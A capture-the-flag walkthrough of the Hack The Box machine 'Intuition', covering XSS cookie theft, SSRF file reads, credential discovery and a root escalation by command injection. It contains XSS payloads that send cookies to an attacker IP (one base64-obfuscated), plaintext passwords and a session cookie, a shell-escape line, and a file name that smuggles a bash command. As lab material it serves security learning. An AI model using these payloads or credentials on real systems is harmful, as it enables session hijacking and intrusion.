Post

HTB - Intuition

Intuition - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.



HTB - Intuition

NMAP

image1

  • Subdomain enum:

image2

auth.comprezzor.htb dashboard.comprezzor.htb report.comprezzor.htb

  • If we go to auth.comprezzor.htb - we can register and login

  • We can then go to report.comprezzor.htb and we can see how bugs get escalated:

image3

  • We can report a bug and could be susceptible to XSS

  • Tried the following XSS:

<img src="http://10.10.14.94/a?cookie=' + document.cookie + '"/>

But didn’t get the cookie back:

image4

  • Obfuscate the payload (base64) and use eval(atob()):
    • Using the payload:

fetch("http://10.10.14.94/"+document.cookie);

Full XSS evaluates to:

"/><img src=x onerror="eval(atob('ZmV0Y2goImh0dHA6Ly8xMC4xMC4xNC45NC8iK2RvY3VtZW50LmNvb2tpZSk7'));"/>

image5

image6

  • Cookie base64 decode output:

image7

  • Inspect and edit the cookie:

image8

  • Now we can browse to dashboard:

image9

  • There isn’t much here so we might need to get it escalated to admin

  • This seems like the the platform where all the bug reports come to, so if we send another bug report and then change the priority to 1, the admin might click on it

  • Keep the python server running

  • Send another bug report and quickly go to the Dashboard and change the priority to high:

image10

  • Now wait for the admin cookie (Might need to restart the machine):

image11

eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5

  • Go to Inspect and enter the admin cookie

image12

SSRF - PDF Generator (wkhtmltopdf 0.12.6) - Dead End

  • On the Admin dashboard - we have Create PDF Report

  • Create a dummy txt file on the attacker machine

  • Set up a simple python server

  • Now if we go to Create PDF Report:

image13

We can enter our URL and get a PDF back

  • If we inspect the PDF, we can see what library the web application is using to generate these PDF documents:

image14

  • For this generator, wkhtmltopdf 0.12.6 is used

image15

  • If we google this - we can see that there is a SSRF vulnerability:

image16

  • Couldn’t get this to work

SSRF - Python-urllib/3.11 - Actual Foothold

  • We can send another request to ourselves:

image17

  • But this time catch it with nc (as Burp didn’t give me anything):

image18

  • We can see something interesting here: User-Agent: Python-urllib/3.11

  • This version has a CVE:

https://vsociety.medium.com/cve-2023-24329-bypassing-url-blackslisting-using-blank-in-python-urllib-library-ee438679351d

image19

  • All we need to do to check this vulnerability is to add a space before our LFI command:
1
2
<space>file:///etc/passwd

image20

  • And we get a pdf back:

image21

  • Also for /etc/hosts

image22

  • And we can read /etc/shadow (so running as root?)

image23

  • To see the current running process on the machine - we can check /proc:

file:///proc/self/cmdline

image24

  • And we get a pdf back with:

image25

So we can see Python3 is running an app.py file

  • We can download this python file:

image26

image27

  • There isn’t much of interest here. The secret key is used for session and we have the admin cookie already

  • But it does import other modules ie. other scripts And it calls it from ./blueprints/

    /

file:///app/code/blueprints/dashboard/dashboard.py

image28

  • We get ftp credentials:

image29

user=’ftp_admin’, passwd=’u3jai8y71s2’

  • To connect to the ftp server (running locally) - we can use the FTP URI: [ftp://username:password@hostname

ftp://ftp_admin:u3jai8y71s2@ftp.local

image30

image31

  • Download the private key and the welcome_note:

image32

image33

image34

Passphrase: Y27SH19HDIWD

  • Copy the contents and edit the last line so it’s on a new line:

image35

  • chmod 600 key

  • We have the old passphrase so we can update the passphrase and get the user potentially:

1
2
ssh-keygen -p -f key

image36

We get user dev_acc

  • Now we can ssh in:

image37

image38

  • Upload Linpeas:

image39

image40

image41

  • We know that dev_acc is web root so we can go into /var and look at the files in there
  • We also know that Flask is being used for authentication so there must be a database somewhere in /var
  • And we stole Adam and Admin’s cookies before, so chances are they have credentials stored
1
2
find . -type f -name '\*.db' 2\>/dev/null

image42

  • We got some hashes for adam and admin:

image43

1
2
hashcat -a 0 -m 30120 hash.txt /usr/share/wordlists/rockyou.txt

image44

adam : adam gray

  • We can’t switch user with those credentials

image45

  • But we can acces the ftp server:

image46

image47

  • Download the files

image48

image49

  • Copy over with scp:

image50

  • We see the arguments needed to run the executable and also the first part of the auth key:

image51

  • In the source code we get the auth key hash (as well as mentions of Ansible):

image52

  • We can create a script that bruteforces the last 4 digits of the auth key, by comparing the hashes:

image53

image54

Auth key: UHI75GHINKOP

  • We still can’t run the executable because we aren’t root

  • We can look in the /opt dir, mentioned in the source code:

image55

  • But we can’t access the playbooks or runner2 dir
  • If we were either adam or lopez (sys-adm group) we could

  • But we need to do further enumeration

  • If we look in /var/log to see if we can find any logged credentials - we find Suricata

image56

  • So we can assume that it’s been logging network activity, since there are loads of files in here:

image57

  • If we grep for credentials or users - we get nothing

  • This is because grep doesn’t look in compressed files

  • To search through compressed files we can use zgrep:

image58

1
2
zgrep -nwi . -e "lopez" \*.gz

image59

We can see Lopez logged in to the FTP server in plaintext with the password:

Lopezz1992%123

And now we can su to Lopez

image60

  • Since we have the password we can check sudo privileges:

image61

  • If we try and run the runner2 program - it expects a JSON:

image62

  • If we give it a random JSON - we get an error:

image63

  • If we strings it - it looks like it’s using the same arguments as runner but it only accepts a JSON:

image64

  • If we run the runner2 executable in IDA, we can see what it does:

image65

image66

image67

  • It still expects the same arguments as runner but in a JSON format

image68

  • It looks like we have three different actions: list | run | install

  • So it expects a JSON with those parameters - So if we try the following:

image69

  • It works:

image70

  • The ansible binaries that is uses are running as root -so if we check GTFO bins:

image71

  • We might be able to break out of the shell and into a superuser shell by adding: tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]

image72

  • But it didn’t work

image73

Ansible - Install roles:

  • We have the third option still - install - which needs a role_file

  • We will need a tar.gz file that contains role information to install

  • This GitHub provides certain templates for us to modify This template has a clear structure for an Ansible role skeleton generated byansible-galaxy init

https://github.com/coopdevs/ansible-role-template

  • This metadata folder must be included in the .tar.gz to install. And there’s a tasks folder includes the tasks it’s going to apply. Both folders include an important file called main.yaml

  • The metadata does not contain tasks itself but describes the role and its requirements, such as the author, platform compatibility, and tags for categorization in Ansible Galaxy

  • In Ansible, the role name is typically the name of the directory where the role is stored within our roles directory. We can identify the default directory by using this command:

1
2
ansible-config dump | grep -i roles_path

image74

When we use a role in a playbook, Ansible looks up this directory name under the paths specified by the roles_path configuration.

If we are using this template, it would then be sys-admins-role-0.0.3

There should be a way to root by modifying the main.yaml in the tasks folder

  • When we look at runner1.c source code - we can see that installRole uses the system() library to execute the command And we can control the *roleURL pointer as it points to the memory that is storing the value for role_file:

image75

We could craft a filename or a path that includes shell metacharacters or control characters (;, &&, |, $(…), etc.)

When system executes the constructed command, the shell will interpret these metacharacters, allowing the us to execute arbitrary commands

  • The role_file expects a tar.gz file (from the documentation) - and the binary will verify if it’s a valid compressed file for /usr/bin/ansible-galaxy to run so we have to use the template tar.gz file we got from Coopdev’s github

  • mkdir /home/lopez/.ansible

  • Copy the file over to /home/lopez/.ansible

image76

  • Rename the file to temp.tar.gz\;bash

image77

  • Create a json file to pass to runner2 - that will install the role_file:

image78

  • Now run:
1
2
sudo /opt/runner2/runner2 role.json

image79

And we have root!

This post is licensed under CC BY 4.0 by the author.